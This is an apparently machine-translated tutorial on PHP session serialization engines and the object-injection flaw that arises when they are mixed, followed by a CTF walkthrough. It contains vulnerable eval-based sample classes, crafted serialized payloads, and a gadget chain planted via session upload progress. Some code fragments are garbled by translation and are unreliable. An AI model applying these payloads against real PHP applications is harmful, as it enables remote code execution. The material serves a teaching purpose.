Session deserialization mechanism in PHP

Source: Internet
Author: User
In the above configuration, session. serialize_handler is used to set the session sequence engine. in addition to the default PHP engine, there are other engines. different engines have different session storage methods. Introduction

There are three configuration items in php. ini:

Session. save_path = "" -- set the session storage path session. save_handler = "" -- set the user-defined storage function. if you want to use a session outside of the PHP built-in session storage mechanism, you can use this function (database, etc.) session. auto_start boolen -- specifies whether the session module starts a session when the request starts. the default value is 0. serialize_handler string -- define the name of the processor used for serialization/deserialization. Php is used by default.

The above options are related to Session storage and sequential talk storage in PHP.

During installation using the xampp component, the preceding configuration items are set as follows:

Session. save_path = "D: \ xampp \ tmp" indicates that all session files are stored under xampp/tmp. save_handler = files indicates that the session is stored as a file. auto_start = 0 indicates that sessionsession is not started by default. serialize_handler = php indicates that the default session sequence engine uses the php sequence language engine.

In the above configuration, session. serialize_handler is used to set the session sequence engine. in addition to the default PHP engine, there are other engines. different engines have different session storage methods.

  • Php_binary: storage method: ASCII character + key name + value serialized by the serialize () function corresponding to the key name length

  • Php: the storage method is: key name + vertical bar + value processed by the serialize () function sequence

  • Php_serialize (php> 5.5.4): the storage method is the value serialized by the serialize () function.

In PHP, the PHP engine is used by default. to change it to another engine, you only need to add the code ini_set ('session. serialize_handler ', 'engine to be set ');. The sample code is as follows:

 

Storage Mechanism

The session content in php is not stored in the memory, but stored as files. the storage method is determined by the configuration item session. save_handler, which is stored as files by default.

The stored file is named by sess_sessionid. the file content is the content after the session value sequence.

Assume that our environment is xampp, the default configuration is described above.

Under the default configuration:

  

The storage and display of the last session are as follows:

The PHPSESSID value is jo86ud4jfvu81mbg28sl2s56c2, while the file name stored in xampp/tmp is bytes, and the file content is name | s: 6: "spoock ";. Name is the key value, s: 6: "spoock"; is the result of serialize ("spoock.

Under the php_serialize engine:

  

The content of the SESSION file is a: 1: {s: 4: "name"; s: 6: "spoock ";}. A: 1 is added when php_serialize is used for sequence. Using php_serialize will serialize both the key and value in the session.

Under the php_binary engine:

  

The content of the SESSION file is names: 6: "spoock ";. Because the length of name is 4 or 4, the corresponding EOT in the ASCII table. According to the storage rules of php_binary, the last is names: 6: "spoock ";. (The character with the ASCII value of 4 cannot be displayed on the webpage. check the ASCII table by yourself)

Simple serialization exploitation

Test. php

?phpclass syclover{        var $func="";        function __construct() {            $this->func = "phpinfo()";        }        function __wakeup(){            eval($this->func);        }}unserialize($_GET['a']);?>

The input parameters are serialized in line 11. The eval () method can be executed by passing in a specific string and deserializing it into an example of syclover. We access localhost/test. php? A = O: 8: "syclover": 1: {s: 4: "func"; s: 14: "echo" spoock ";";}. The deserialization result is as follows:

object(syclover)[1]  public 'func' => string 'echo "spoock";' (length=14)

Spoock is output on the page, indicating that the echo "spoock" method we defined is executed.

This is a demonstration of a simple serialization vulnerability.

Serialization hazards in PHP sessions

There is no problem with the implementation of sessions in PHP. The major harm is caused by improper use of sessions by programmers.

If the engine used in PHP for deserialization of $ _ SESSION data is different from the engine used for serialization, data cannot be correctly deserialized. Through specially crafted data packets, you can bypass program verification or execute some system methods. For example:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

The above $ _ SESSION data uses php_serialize, so the last stored content is a: 1: {s: 6: "spoock"; s: 24: "| O: 11: "PeopleClass": 0 :{}";}.

However, when we select php for reading, the final read content is:

array (size=1)  'a:1:{s:6:"spoock";s:24:"' =>    object(__PHP_Incomplete_Class)[1]      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

This is because when the php engine is used, the php engine uses | as the separator of key and value, then a: 1: {s: 6: "spoock "; s: 24: "As the SESSION key, use O: 11:" PeopleClass ": 0: {} as the value, then deserialize it, and finally obtain the PeopleClas class.

The different engines used for serialization and deserialization are the cause of the PHP Session sequence vulnerability.

Actual use

There are s1.php and us2.php, and the two files use different SESSION engines, which forms a vulnerability,

S1.php, use php_serialize to process the session

  

Us2.php, which uses php to process Sessions

ini_set('session.serialize_handler', 'php');session_start();class lemon {    var $hi;    function __construct(){        $this->hi = 'phpinfo();';    }        function __destruct() {         eval($this->hi);    }}

When accessing s1.php, submit the following data:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

The imported data is serialized according to php_serialize.

At this time, when accessing us2.php, the page output, spoock successfully executed the function we constructed. When accessing us2.php, the program will deserialize the data in the SESSION according to php. at this time, the program will deserialize the forged data and instantiate the lemon object, the eval () method in the destructor is executed.

CTF

This knowledge point was examined by a question in the Anheng Cup. The key code in the question is as follows:

Class. php

   Varr = "index. php";} function _ destruct () {if (file_exists ($ this-> varr) {echo"
The file ". $ this-> varr." exists.
";} Echo"
This is the destructor of foo1.
";}} Class foo2 {public $ varr; public $ obj; function _ construct () {$ this-> varr = '000000 '; $ this-> obj = null;} function _ toString () {$ this-> obj-> execute (); return $ this-> varr ;} function _ desctuct () {echo"
This is the destructor of foo2.
";}} Class foo3 {public $ varr; function execute () {eval ($ this-> varr);} function _ desctuct () {echo"
This is the destructor of foo3.
";}}?>

Index. php

   varr = "phpinfo.php"; ?>

Code shows that we finally need to execute our custom function through execute in foo3.

First, we will build the local environment to construct the custom functions that we need to execute. As follows:


Myindex. php

   varr);        }}class foo2{        public $varr;        public $obj;        function __construct(){                $this->varr = '1234567890';                $this->obj = new foo3();        }        function __toString(){                $this->obj->execute();                return $this->varr;        }} class foo1{        public $varr;        function __construct(){                $this->varr = new foo2();        }}  $obj = new foo1();print_r(serialize($obj));?>

The constructor in foo1 defines an instance whose $ varr value is foo2 and whose $ obj value is foo3 in foo2, in foo3, the value of $ varr is defined as echo "spoock ". The final sequence value is

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

In this way, the value of the above sequence is written to the server, and then the index. php of the server is accessed, the echo "spoock"; method will be executed in advance.

The write method is mainly to use Session Upload Progress in PHP for setting. Specifically, when uploading a file, if you POST a variable named PHP_SESSION_UPLOAD_PROGRESS, you can assign the filename value to the session. the upload page is written as follows:

At last, the file name will be written to the session. for detailed implementation details, refer to the PHP Manual.

The final file name to be written is | O: 4: "foo1": 1: {s: 4: "varr"; O: 4: "foo2": 2: {s: 4: "varr"; s: 1: "1"; s: 3: "obj"; O: 4: "foo3": 1: {s: 4: "varr"; s: 12: "var_dump (1 );";}}}. Note that the difference from local deserialization is to add at the beginning |

However, during the local test, I found that the effect of the question Anheng could not be achieved, but the final principle was the same.

Summary

Through the analysis of the SESSION in PHP, we have a deeper understanding of the implementation principle of the SESSION in PHP. This php session problem is also a good problem. The above article not only makes everyone understand the SESSION serialization vulnerability in PHP, but also helps programmers to enhance their understanding of the SESSION mechanism in PHP.

The above is the content of the Session deserialization mechanism in PHP. For more information, please follow the PHP Chinese network (www.php1.cn )!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.